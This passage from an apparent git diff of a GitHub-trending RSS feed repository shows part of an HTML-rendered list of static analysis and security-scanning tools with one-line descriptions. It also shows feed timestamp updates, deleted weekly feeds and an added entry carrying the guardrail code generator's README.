href="https://datree.io/">Datree</a> — A CLI tool to prevent Kubernetes misconfigurations by ensuring that manifests and Helm charts follow best practices as well as your organization’s policies</p> </li> <li> <p><a href="https://kics.io/">kics</a> — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible</p> </li> <li> <p><a href="https://github.com/uswitch/klint">klint</a> — A tool that listens to changes in Kubernetes resources and runs linting rules against them. Identify and debug erroneous objects and nudge objects in line with the policies as both change over time. Klint helps us encode checks and proactively alert teams when they need to take action.</p> </li> <li> <p><a href="https://github.com/appvia/krane">krane</a> — Krane is a simple Kubernetes RBAC static analysis tool. It identifies potential security risks in K8s RBAC design and makes suggestions on how to mitigate them. Krane dashboard presents current RBAC security posture and lets you navigate through its definition.</p> </li> <li> <p><a href="https://aquasecurity.github.io/kube-hunter/">kube-hunter</a> <span>⚠</span> — Hunt for security weaknesses in Kubernetes clusters.</p> </li> <li> <p><a href="https://github.com/viglesiasce/kube-lint">kube-lint</a> — A linter for Kubernetes resources with a customizable rule set. You define a list of rules that you would like to validate against your resources and kube-lint will evaluate those rules against them.</p> </li> <li> <p><a href="https://github.com/stackrox/kube-linter">kube-linter</a> — KubeLinter is a static analysis tool that checks Kubernetes YAML files and Helm charts to ensure the applications represented in them adhere to best practices.</p> </li> <li> <p><a href="https://kube-score.com">kube-score</a> — Static code analysis of your Kubernetes object definitions.</p> </li> <li> <p><a href="https://github.com/yannh/kubeconform">kubeconform</a> — A fast Kubernetes manifests validator with support for custom resources. It is inspired by, contains code from and is designed to stay close to <a href="https://analysis-tools.dev/tool/kubeval">Kubeval</a>, but with the following improvements: * high performance: will validate &amp; download manifests over multiple routines, caching downloaded files in memory * configurable list of remote, or local schemas locations, enabling validating Kubernetes custom resources (CRDs) and offline validation capabilities * uses by default a self-updating fork of the schemas registry maintained by the kubernetes-json-schema project - which guarantees up-to-date schemas for all recent versions of Kubernetes.</p> </li> <li> <p><a href="https://github.com/stackrox/kube-linter">KubeLinter</a> — KubeLinter is a static analysis tool that checks Kubernetes YAML files and Helm charts to ensure the applications represented in them adhere to best practices.</p> </li> <li> <p><a href="https://kubeval.instrumenta.dev">kubeval</a> — Validates your Kubernetes configuration files and supports multiple Kubernetes versions.</p> </li> </ul> <h2 id="latex">LaTeX</h2> <ul> <li> <p><a href="http://www.nongnu.org/chktex">ChkTeX</a> — A linter for LaTex which catches some typographic errors LaTeX oversees.</p> </li> <li> <p><a href="https://www.ctan.org/pkg/lacheck">lacheck</a> — A tool for finding common mistakes in LaTeX documents.</p> </li> <li> <p><a href="https://texlab.netlify.app">TeXLab</a> — A Language Server Protocol implementation for TeX/LaTeX, including lint capabilities.</p> </li> </ul> <h2 id="laravel">Laravel</h2> <ul> <li> <p><a href="https://www.laravel-enlightn.com/">Enlightn</a> — A static and dynamic analysis tool for Laravel applications that provides recommendations to improve the performance, security and code reliability of Laravel apps. Contains 120 automated checks.</p> </li> <li> <p><a href="https://github.com/nunomaduro/larastan">larastan</a> — Adds static analysis to Laravel improving developer productivity and code quality. It is a wrapper around PHPStan.</p> </li> </ul> <h2 id="make">Makefiles</h2> <ul> <li> <p><a href="https://github.com/mrtazz/checkmake">checkmake</a> — Linter / Analyzer for Makefiles.</p> </li> <li> <p><a href="https://www.freebsd.org/cgi/man.cgi?query=portlint&amp;sektion=1&amp;manpath=FreeBSD+8.1-RELEASE+and+Ports">portlint</a> — A verifier for FreeBSD and DragonFlyBSD port directories.</p> </li> </ul> <h2 id="markdown">Markdown</h2> <ul> <li> <p><a href="https://github.com/DavidAnson/markdownlint">markdownlint</a> — Node.js -based style checker and lint tool for Markdown/CommonMark files.</p> </li> <li> <p><a href="https://mdformat.rtfd.io">mdformat</a> — CommonMark compliant Markdown formatter</p> </li> <li> <p><a href="https://github.com/mivok/markdownlint">mdl</a> — A tool to check Markdown files and flag style issues.</p> </li> <li> <p><a href="https://remark.js.org">remark-lint</a> — Pluggable Markdown code style linter written in JavaScript.</p> </li> <li> <p><a href="https://textlint.github.io/">textlint</a> — textlint is an open source text linting utility written in JavaScript.</p> </li> </ul> <h2 id="meta">Metalinter</h2> <ul> <li> <p><a href="https://github.com/ContinuumIO/ciocheck">ciocheck</a> <span>⚠</span> — Linter, formatter and test suite helper. As a linter, it is a wrapper around <code>pep8</code>, <code>pydocstyle</code>, <code>flake8</code>, and <code>pylint</code>.</p> </li> <li> <p><a href="https://github.com/PyCQA/flake8">flake8</a> — A wrapper around <code>pyflakes</code>, <code>pycodestyle</code> and <code>mccabe</code>.</p> </li> <li> <p><a href="https://pypi.org/project/flakeheaven/">flakeheaven</a> — flakeheaven is a python linter built around flake8 to enable inheritable and complex toml configuration.</p> </li> <li> <p><a href="https://github.com/alecthomas/gometalinter">Go Meta Linter</a> <span>⚠</span> — Concurrently run Go lint tools and normalise their output. Use <code>golangci-lint</code> for new projects.</p> </li> <li> <p><a href="https://github.com/360EntSecGroup-Skylar/goreporter">goreporter</a> — Concurrently runs many linters and normalises their output to a report.</p> </li> <li> <p><a href="https://github.com/adamchainz/multilint">multilint</a> <span>⚠</span> — A wrapper around <code>flake8</code>, <code>isort</code> and <code>modernize</code>.</p> </li> <li> <p><a href="https://github.com/PyCQA/prospector">prospector</a> — A wrapper around <code>pylint</code>, <code>pep8</code>, <code>mccabe</code> and others.</p> </li> </ul> <h2 id="mobile">Mobile</h2> <ul> <li> <p><a href="http://tools.android.com/tips/lint">Android Lint</a> — Run static analysis on Android projects.</p> </li> <li> <p><a href="https://passy.github.io/android-lint-summary">android-lint-summary</a> <span>⚠</span> — Combines lint errors of multiple projects into one output, check lint results of multiple sub-projects at once.</p> </li> <li> <p><a href="https://github.com/secure-software-engineering/FlowDroid">FlowDroid</a> — Static taint analysis tool for Android applications.</p> </li> <li> <p><a href="https://www.kitploit.com/2020/08/iblessing-ios-security-exploiting.html">iblessing</a> <span>⚠</span> — iblessing is an iOS security exploiting toolkit. It can be used for reverse engineering, binary analysis and vulnerability mining.</p> </li> <li> <p><a href="https://mariana-tren.ch/">Mariana Trench</a> — Our security focused static analysis tool for Android and Java applications. Mariana Trench analyzes Dalvik bytecode and is built to run fast on large codebases (10s of millions of lines of code). It can find vulnerabilities as code changes, before it ever lands in your repository.</p> </li> <li> <p><a href="https://oversecured.com">Oversecured</a> <span>©</span> — Enterprise vulnerability scanner for Android and iOS apps. It allows app owners and developers to secure each new version of a mobile app by integrating Oversecured into the development process.</p> </li> <li> <p><a href="https://github.com/GeoffreyHecht/paprika">paprika</a> <span>⚠</span> — A toolkit to detect some code smells in analyzed Android applications.</p> </li> <li> <p><a href="https://github.com/linkedin/qark">qark</a> <span>⚠</span> — Tool to look for several security related Android application vulnerabilities.</p> </li> <li> <p><a href="https://fbredex.com">redex</a> — Redex provides a framework for reading, writing, and analyzing .dex files, and a set of optimization passes that use this framework to improve the bytecode. An APK optimized by Redex should be smaller and faster.</p> </li> </ul> <h2 id="nix">Nix</h2> <ul> <li> <p><a href="https://github.com/astro/deadnix">deadnix</a> — Scan Nix files for dead code (unused variable bindings)</p> </li> <li> <p><a href="https://git.peppe.rs/languages/statix/about/">statix</a> — Lints and suggestions for the Nix programming language. "statix check" highlights antipatterns in Nix code. "statix fix" can fix several such occurrences.</p> </li> </ul> <h2 id="nodejs">Node.js</h2> <ul> <li> <p><a href="https://github.com/lirantal/lockfile-lint">lockfile-lint</a> — Lint an npm or yarn lockfile to analyze and detect security issues</p> </li> <li> <p><a href="https://opensecurity.in">njsscan</a> — A static application testing (SAST) tool that can find insecure code patterns in your node.js applications using simple pattern matcher from libsast and syntax-aware semantic code pattern search tool semgrep.</p> </li> <li> <p><a href="https://opensecurity.in">NodeJSScan</a> — A static security code scanner for Node.js applications powered by libsast and semgrep that builds on the njsscan cli tool. It features a UI with various dashboards about an application's security status.</p> </li> <li> <p><a href="http://standardjs.com">standard</a> — An npm module that checks for Javascript Styleguide issues.</p> </li> </ul> <h2 id="package">Packages</h2> <ul> <li> <p><a href="https://lintian.debian.org">lintian</a> — Static analysis tool for Debian packages.</p> </li> <li> <p><a href="https://github.com/rpm-software-management/rpmlint">rpmlint</a> — Tool for checking common errors in rpm packages.</p> </li> </ul> <h2 id="protobuf">Protocol Buffers</h2> <ul> <li> <p><a href="https://buf.build">buf</a> — Provides a CLI linter that enforces good API design choices and structure</p> </li> <li> <p><a href="https://github.com/yoheimuta/protolint">protolint</a> — Pluggable linter and fixer to enforce Protocol Buffer style and conventions.</p> </li> </ul> <h2 id="puppet">Puppet</h2> <ul> <li><a href="https://github.com/voxpupuli/metadata-json-lint">metadata-json-lint</a> — Tool to check the validity of Puppet metadata.json files.</li> </ul> <h2 id="rails">Rails</h2> <ul> <li><a href="https://github.com/thesp0nge/dawnscanner">dawnscanner</a> — A static analysis security scanner for ruby written web applications. It supports Sinatra, Padrino and Ruby on Rails frameworks.</li> </ul> <h2 id="security">Security/SAST</h2> <ul> <li> <p><a href="https://azsk.azurewebsites.net/">AzSK</a> — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.</p> </li> <li> <p><a href="https://brakemanscanner.org">brakeman</a> — A static analysis security vulnerability scanner for Ruby on Rails applications.</p> </li> <li> <p><a href="https://github.com/SAP/credential-digger">Credential Digger</a> — Credential Digger is a GitHub scanning tool that identifies hardcoded credentials (Passwords, API Keys, Secret Keys, Tokens, personal information, etc), and filtering the false positive data through a machine learning model called <a href="https://huggingface.co/SAPOSS/password-model">Password Model</a>. This scanner is able to detect passwords and non structured tokens with a low false positive rate.</p> </li> <li> <p><a href="https://datree.io/">Datree</a> — A CLI tool to prevent Kubernetes misconfigurations by ensuring that manifests and Helm charts follow best practices as well as your organization’s policies</p> </li> <li> <p><a href="https://github.com/Yelp/detect-secrets">detect-secrets</a> — An enterprise friendly way of detecting and preventing secrets in code. It does this by running periodic diff outputs against heuristically crafted regex statements, to identify whether any new secret has been committed. This way, it avoids the overhead of digging through all git history, as well as the need to scan the entire repository every time.</p> </li> <li> <p><a href="https://www.laravel-enlightn.com/">Enlightn</a> — A static and dynamic analysis tool for Laravel applications that provides recommendations to improve the performance, security and code reliability of Laravel apps. Contains 120 automated checks.</p> </li> <li> <p><a href="https://www.gitguardian.com/ggshield">GitGuardian ggshield</a> — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.</p> </li> <li> <p><a href="https://github.com/zricethezav/gitleaks">Gitleaks</a> — A SAST tool for detecting hardcoded secrets like passwords, api keys, and tokens in git repos.</p> </li> <li> <p><a href="https://github.com/praetorian-inc/gokart">gokart</a> — Golang security analysis with a focus on minimizing false positives. It is capable of tracing the source of variables and function arguments to determine whether input sources are safe.</p> </li> <li> <p><a href="https://gitguardian.com/hasmysecretleaked">HasMySecretLeaked</a> <span>©</span> — HasMySecretLeaked is a project from GitGuardian that aims to help individual users and organizations search across 20 million exposed secrets to verify if their developer secrets have leaked on public repositories, gists, and issues on GitHub projects.</p> </li> <li> <p><a href="https://www.kitploit.com/2020/08/iblessing-ios-security-exploiting.html">iblessing</a> <span>⚠</span> — iblessing is an iOS security exploiting toolkit. It can be used for reverse engineering, binary analysis and vulnerability mining.</p> </li> <li> <p><a href="https://kics.io/">kics</a> — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible</p> </li> <li> <p><a href="https://ktool.cynder.me/en/latest/ktool.html">ktool</a> — Fully cross-platform toolkit and library for MachO+Obj-C editing/analysis. Includes a cli kit, a curses GUI, ObjC header dumping, and much more.</p> </li> <li> <p><a href="https://aquasecurity.github.io/kube-hunter/">kube-hunter</a> <span>⚠</span> — Hunt for security weaknesses in Kubernetes clusters.</p> </li> <li> <p><a href="https://github.com/lirantal/lockfile-lint">lockfile-lint</a> — Lint an npm or yarn lockfile to analyze and detect security issues</p> </li> <li> <p><a href="https://www.lunasec.io">LunaSec</a> — Open Source AppSec platform that automatically notifies you the next time vulnerabilities like Log4Shell or node-ipc happen. Track your dependencies and builds in a centralized service.</p> </li> <li> <p><a href="https://opensecurity.in">njsscan</a> — A static application testing (SAST) tool that can find insecure code patterns in your node.js applications using simple pattern matcher from libsast and syntax-aware semantic code pattern search tool semgrep.</p> </li> <li> <p><a href="https://opensecurity.in">NodeJSScan</a> — A static security code scanner for Node.js applications powered by libsast and semgrep that builds on the njsscan cli tool. It features a UI with various dashboards about an application's security status.</p> </li> <li> <p><a href="https://oversecured.com">Oversecured</a> <span>©</span> — Enterprise vulnerability scanner for Android and iOS apps. It allows app owners and developers to secure each new version of a mobile app by integrating Oversecured into the development process.</p> </li> <li> <p><a href="https://www.ptsecurity.com">PT Application Inspector</a> <span>©</span> — Identifies code flaws and detects vulnerabilities to prevent web attacks. Demonstrates remote code execution by presenting possible exploits.</p> </li> <li> <p><a href="https://www.qualys.com/apps/container-security">Qualys Container Security</a> <span>©</span> — Container native application protection to provide visibility and control of containerized applications.</p> </li> <li> <p><a href="https://github.com/quantifiedcode/quantifiedcode">QuantifiedCode</a> <span>⚠</span> — Automated code review &amp; repair. It helps you to keep track of issues and metrics in your software projects, and can be easily extended to support new types of analyses.</p> </li> <li> <p><a href="https://www.reshiftsecurity.com">Reshift</a> <span>©</span> — A source code analysis tool for detecting and managing JavaScript security vulnerabilities.</p> </li> <li> <p><a href="https://www.rezilion.com/">Rezilion</a> <span>©</span> — Discovers vulnerabilities for all components in your environment, filters out 85% non-exploitable vulnerabilities and creates a remediation plan and open tickets to upgrade components that violate your security policy and/or patch automatically in CI.</p> </li> <li> <p><a href="https://github.com/ossf/scorecard">scorecard</a> — Security Scorecards - Security health metrics for Open Source</p> </li> <li> <p><a href="https://resources.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/">SearchDiggity</a> <span>©</span> — Identifies vulnerabilities in open source code projects hosted on Github, Google Code, MS CodePlex, SourceForge, and more. The tool comes with over 130 default searches that identify SQL injection, cross-site scripting (XSS), insecure remote and local file includes, hard-coded passwords, etc.</p> </li> <li> <p><a href="https://steampunk.si/spotter/">Steampunk Spotter</a> <span>©</span> — Ansible Playbook Scanning Tool that analyzes and offers recommendations for your playbooks.</p> </li> <li> <p><a href="https://insight.symfony.com/">Symfony Insight</a> <span>©</span> — Detect security risks, find bugs and provide actionable metrics for PHP projects.</p> </li> <li> <p><a href="https://github.com/tfsec/tfsec">tfsec</a> — Terraform static analysis tool that prevents potential security issues by checking cloud misconfigurations at build time and directly integrates with the HCL parser for better results. Checks for violations of AWS, Azure and GCP security best practice recommendations.</p> </li> <li> <p><a href="https://trufflesecurity.com">trufflehog</a> — Find credentials all over the place TruffleHog is an open source secret-scanning engine that resolves exposed secrets across your company’s entire tech stack.</p> </li> <li> <p><a href="https://github.com/google/tsunami-security-scanner">Tsunami Security Scanner</a> — A general purpose network security scanner with an extensible plugin system for detecting high severity RCE-like vulnerabilities with high confidence. Custom detectors for finding vulnerabilities (e.g. open APIs) can be added.</p> </li> </ul> <h2 id="smart-contracts">Smart Contracts</h2> <ul> <li> <p><a href="https://github.com/ConsenSys/mythril">mythril</a> — A symbolic execution framework with batteries included, can be used to find and exploit vulnerabilities in smart contracts automatically.</p> </li> <li> <p><a href="https://mythx.io">MythX</a> <span>©</span> — MythX is an easy to use analysis platform which integrates several analysis methods like fuzzing, symbolic execution and static analysis to find vulnerabilities with high precision. It can be integrated with toolchains like Remix or VSCode or called from the command-line.</p> </li> <li> <p><a href="https://github.com/trailofbits/slither">slither</a> — Static analysis framework that runs a suite of vulnerability detectors, prints visual information about contract details, and provides an API to easily write custom analyses.</p> </li> <li> <p><a href="https://protofire.github.io/solhint">solhint</a> — Solhint is an open source project created by <a href="https://protofire.io">https://protofire.io</a>. Its goal is to provide a linting utility for Solidity code.</p> </li> <li> <p><a href="https://ethlint.readthedocs.io/en/latest">solium</a> — Solium is a linter to identify and fix style and security issues in Solidity smart contracts.</p> </li> </ul> <h2 id="support">Support</h2> <ul> <li> <p><a href="https://github.com/uni-bremen-agst/libvcs4j">LibVCS4j</a> — A Java library that allows existing tools to analyse the evolution of software systems by providing a common API for different version control systems and issue trackers.</p> </li> <li> <p><a href="https://github.com/jimbethancourt/RefactorFirst">RefactorFirst</a> — Identifies and prioritizes God Classes and Highly Coupled classes in Java codebases you should refactor first.</p> </li> <li> <p><a href="https://github.com/tomasbjerre/violations-lib">Violations Lib</a> — Java library for parsing report files from static code analysis. Used by a bunch of Jenkins, Maven and Gradle plugins.</p> </li> </ul> <h2 id="template">Template-Languages</h2> <ul> <li> <p><a href="https://github.com/ember-template-lint/ember-template-lint">ember-template-lint</a> — Linter for Ember or Handlebars templates.</p> </li> <li> <p><a href="https://github.com/sds/haml-lint">haml-lint</a> — Tool for writing clean and consistent HAML.</p> </li> <li> <p><a href="https://github.com/sds/slim-lint">slim-lint</a> — Configurable tool for analyzing Slim templates.</p> </li> <li> <p><a href="https://yamllint.readthedocs.io">yamllint</a> — Checks YAML files for syntax validity, key repetition and cosmetic problems such as lines length, trailing spaces, and indentation.</p> </li> </ul> <h2 id="terraform">Terraform</h2> <ul> <li> <p><a href="https://www.gitguardian.com/ggshield">GitGuardian ggshield</a> — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.</p> </li> <li> <p><a href="https://kics.io/">kics</a> — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible</p> </li> <li> <p><a href="https://docs.shisho.dev/">shisho</a> — A lightweight static code analyzer designed for developers and security teams. It allows you to analyze and transform source code with an intuitive DSL similar to sed, but for code.</p> </li> </ul> <h2 id="translation">Translation</h2> <ul> <li><a href="https://github.com/willkg/dennis">dennis</a> <span>⚠</span> — A set of utilities for working with PO files to ease development and improve quality.</li> </ul> <h2 id="vue">Vue.js</h2> <ul> <li> <p><a href="https://html-validate.org/">HTML-Validate</a> — Offline HTML5 validator.</p> </li> <li> <p><a href="https://marketplace.visualstudio.com/items?itemName=octref.vetur">Vetur</a> — Vue tooling for VS Code, powered by vls (vue language server). Vetur has support for formatting embedded HTML, CSS, SCSS, JS, TypeScript, and more. Vetur only has a "whole document formatter" and cannot format arbitrary ranges.</p> </li> </ul> <h2 id="wasm">Webassembly</h2> <ul> <li><a href="https://rustwasm.github.io/twiggy">Twiggy</a> — Analyzes a binary's call graph to profile code size. The goal is to slim down wasm binary size.</li> </ul> <h2 id="writing">Writing</h2> <ul> <li> <p><a href="https://open.afterthedeadline.com">After the Deadline</a> <span>⚠</span> — Spell, style and grammar checker.</p> </li> <li> <p><a href="https://alexjs.com">alex</a> — Catch insensitive, inconsiderate writing</p> </li> <li> <p><a href="https://github.com/codespell-project/codespell">codespell</a> — Check code for common misspellings.</p> </li> <li> <p><a href="https://languagetool.org">languagetool</a> — Style and grammar checker for 25+ languages. It finds many errors that a simple spell checker cannot detect.</p> </li> <li> <p><a href="https://github.com/vlajos/misspell-fixer">misspell-fixer</a> — Quick tool for fixing common misspellings, typos in source code.</p> </li> <li> <p><a href="https://jwilk.net/software/mwic">Misspelled Words In Context</a> — A spell-checker that groups possible misspellings and shows them in their contexts.</p> </li> <li> <p><a href="http://proselint.com">proselint</a> — A linter for English prose with a focus on writing style instead of grammar.</p> </li> <li> <p><a href="https://docs.errata.ai/vale/about">vale</a> — A syntax-aware linter for prose built with speed and extensibility in mind.</p> </li> <li> <p><a href="https://github.com/btford/write-good">write-good</a> — A linter with a focus on eliminating "weasel words".</p> </li> </ul> <h2 id="yaml">YAML</h2> <ul> <li> <p><a href="https://stoplight.io/open-source/spectral">Spectral</a> — A flexible JSON/YAML linter, with out-of-the-box support for OpenAPI v2/v3 and AsyncAPI v2.</p> </li> <li> <p><a href="https://yamllint.readthedocs.io">yamllint</a> — Checks YAML files for syntax validity, key repetition and cosmetic problems such as lines length, trailing spaces, and indentation.</p> </li> </ul> <h2 id="git">git</h2> <ul> <li> <p><a href="https://commitlint.js.org">commitlint</a> — checks if your commit messages meet the conventional commit format</p> </li> <li> <p><a href="https://www.gitguardian.com/ggshield">GitGuardian ggshield</a> — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.</p> </li> <li> <p><a href="https://gitguardian.com/hasmysecretleaked">HasMySecretLeaked</a> <span>©</span> — HasMySecretLeaked is a project from GitGuardian that aims to help individual users and organizations search across 20 million exposed secrets to verify if their developer secrets have leaked on public repositories, gists, and issues on GitHub projects.</p> </li> </ul> <h2>More Collections</h2> <ul> <li><a href="https://github.com/collections/clean-code-linters">Clean code linters</a> — A collection of linters in github collections</li> <li><a href="https://github.com/collections/code-quality-in-php">Code Quality Checker Tools For PHP Projects</a> — A collection of PHP linters in github collections</li> <li><a href="https://github.com/dominikh/go-tools">go-tools</a> — A collection of tools and libraries for working with Go code, including linters and static analysis</li> <li><a href="https://github.com/mcandre/linters">linters</a> — An introduction to static code analysis</li> <li><a href="https://owasp.org/www-community/Source_Code_Analysis_Tools">OWASP Source Code Analysis Tools</a> — List of tools maintained by the Open Web Application Security Project</li> <li><a href="https://github.com/exakat/php-static-analysis-tools">php-static-analysis-tools</a> — A reviewed list of useful PHP static analysis tools</li> <li><a href="http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis">Wikipedia</a> — A list of tools for static code analysis.</li> </ul> <h2>License</h2> <p><a href="https://creativecommons.org/publicdomain/zero/1.0/"><img src="https://i.creativecommons.org/p/zero/1.0/88x31.png" alt="CC0"></a></p> <p>To the extent possible under law, <a href="https://endler.dev">Matthias Endler</a> has waived all copyright and related or neighboring rights to this work. The underlying source code used to format and display that content is licensed under the MIT license.</p> <p>Title image <a href="http://www.freepik.com">Designed by Freepik</a>.</p> - - \ No newline at end of file diff --git a/sage/daily/index.xml b/sage/daily/index.xml index cf2ccace606..967a6738f2f 100644 --- a/sage/daily/index.xml +++ b/sage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:02Z + 2023-10-30T01:35:37Z Daily Trending of Sage in GitHub \ No newline at end of file diff --git a/sage/weekly/index.xml b/sage/weekly/index.xml deleted file mode 100644 index 20edc3c71fb..00000000000 --- a/sage/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Sage Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:39Z - Weekly Trending of Sage in GitHub - - \ No newline at end of file diff --git a/saltstack/daily/index.xml b/saltstack/daily/index.xml index a03c3355f99..f3507190183 100644 --- a/saltstack/daily/index.xml +++ b/saltstack/daily/index.xml @@ -1,7 +1,7 @@ GitHub SaltStack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:03Z + 2023-10-30T01:35:39Z Daily Trending of SaltStack in GitHub \ No newline at end of file diff --git a/saltstack/weekly/index.xml b/saltstack/weekly/index.xml deleted file mode 100644 index 9e32f4b69df..00000000000 --- a/saltstack/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SaltStack Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:40Z - Weekly Trending of SaltStack in GitHub - - \ No newline at end of file diff --git a/sas/daily/index.xml b/sas/daily/index.xml index 9db518a685f..8206658d7bf 100644 --- a/sas/daily/index.xml +++ b/sas/daily/index.xml @@ -1,7 +1,7 @@ GitHub SAS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:03Z + 2023-10-30T01:35:37Z Daily Trending of SAS in GitHub \ No newline at end of file diff --git a/sas/weekly/index.xml b/sas/weekly/index.xml deleted file mode 100644 index c9853309456..00000000000 --- a/sas/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SAS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:40Z - Weekly Trending of SAS in GitHub - - \ No newline at end of file diff --git a/sass/daily/index.xml b/sass/daily/index.xml index ef3cc4c0423..6f2c6c250eb 100644 --- a/sass/daily/index.xml +++ b/sass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:04Z + 2023-10-30T01:35:38Z Daily Trending of Sass in GitHub \ No newline at end of file diff --git a/sass/weekly/index.xml b/sass/weekly/index.xml deleted file mode 100644 index 4c03ed3acc2..00000000000 --- a/sass/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Sass Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:41Z - Weekly Trending of Sass in GitHub - - \ No newline at end of file diff --git a/scala/daily/index.xml b/scala/daily/index.xml index e7926d2bf0d..cc18ac4e1b4 100644 --- a/scala/daily/index.xml +++ b/scala/daily/index.xml @@ -1,7 +1,28 @@ GitHub Scala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:12Z + 2023-10-30T01:35:44Z Daily Trending of Scala in GitHub + + guardrail-dev/guardrail + 2023-10-30T01:35:44Z + tag:github.com,2023-10-30:/guardrail-dev/guardrail + + <p>Principled code generation from OpenAPI specifications</p><hr><h1>guardrail <a href="https://github.com/guardrail-dev/guardrail/actions?query=workflow%3A%22CI%22"><img src="https://github.com/guardrail-dev/guardrail/workflows/CI/badge.svg?sanitize=true" alt="Build Status"></a> | <a href="https://codecov.io/gh/guardrail-dev/guardrail"><img src="https://codecov.io/gh/guardrail-dev/guardrail/branch/master/graph/badge.svg?token=ssLYYkVBgv" alt="codecov"></a> | <a href="https://matrix.to/#/#guardrail:matrix.org"><img src="https://img.shields.io/matrix/guardrail:matrix.org.svg?label=matrix&amp;server_fqdn=matrix.org" alt="Matrix chat"></a> | <a href="https://gitter.im/guardrail-dev/guardrail?utm_source=badge&amp;utm_medium=badge&amp;utm_campaign=pr-badge&amp;utm_content=badge"><img src="https://badges.gitter.im/guardrail-dev/guardrail.svg?sanitize=true" alt="Join the chat at https://gitter.im/guardrail-dev/guardrail"></a></h1> <p>guardrail is a code generation tool, capable of reading from OpenAPI/Swagger specification files and generating both Scala and Java source code, targeting various libraries and frameworks listed here:</p> <ul> <li>Scala: <code>akka-http</code> and <code>http4s</code>, both backed by <code>circe</code>, as well as <code>dropwizard</code> backed by <code>jackson</code></li> <li>Java: <code>dropwizard</code> and <code>spring-mvc</code>, both backed by <code>jackson</code></li> </ul> <h2>Build tool plugins</h2> <table> <thead> <tr> <th>Plugins</th> <th>versions</th> <th>docs</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/guardrail-dev/sbt-guardrail"><code>guardrail-dev/sbt-guardrail</code></a></td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:sbt-guardrail"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/sbt-guardrail/badge.svg?sanitize=true" alt="sbt-guardrail"></a></td> <td><a href="https://raw.githubusercontent.com/guardrail-dev/guardrail/master/docs/plugins/sbt.md">docs</a></td> </tr> <tr> <td><a href="https://github.com/guardrail-dev/guardrail-maven-plugin"><code>guardrail-dev/guardrail-maven-plugin</code></a></td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-maven-plugin"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-maven-plugin/badge.svg?sanitize=true" alt="guardrail-maven-plugin"></a></td> <td><a href="https://raw.githubusercontent.com/guardrail-dev/guardrail/master/docs/plugins/maven.md">docs</a></td> </tr> <tr> <td><a href="https://github.com/guardrail-dev/guardrail-gradle-plugin"><code>guardrail-dev/guardrail-gradle-plugin</code></a></td> <td><code>guardrail-gradle-plugin</code></td> <td><a href="https://plugins.gradle.org/plugin/com.twilio.guardrail">Plugin Portal</a></td> </tr> <tr> <td><a href="https://raw.githubusercontent.com/guardrail-dev/guardrail/master/modules/cli">CLI support</a></td> <td>Latest</td> <td><a href="https://get-coursier.io/docs/cli-install"><code>cs install guardrail</code></a>, <a href="https://raw.githubusercontent.com/guardrail-dev/guardrail/master/docs/plugins/make.md">docs</a></td> </tr> </tbody> </table> <h2>New to guardrail?</h2> <p>Check out the <a href="https://guardrail.dev/">docs</a>!</p> <p>Compatible library versions are listed in <a href="https://raw.githubusercontent.com/guardrail-dev/guardrail/master/COMPATIBILITY.md">COMPATIBILITY.md</a></p> <h2>guardrail module versions</h2> <p>guardrail is modularized, using <a href="https://github.com/scalacenter/sbt-version-policy"><code>sbt-version-policy</code></a> to ensure binary compatibility between dependent modules.</p> <p>The dependency chain and versions of published modules are listed below for reference:</p> <table> <thead> <tr> <th>module</th> <th>version</th> <th>depends on</th> </tr> </thead> <tbody> <tr> <td>guardrail-core</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-core_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-core_2.12/badge.svg?sanitize=true" alt="guardrail-core"></a></td> <td></td> </tr> <tr> <td>guardrail-java-support</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-java-support_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-java-support_2.12/badge.svg?sanitize=true" alt="guardrail-java-support"></a></td> <td>core</td> </tr> <tr> <td>guardrail-java-async-http</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-java-async-http_2.12"><img 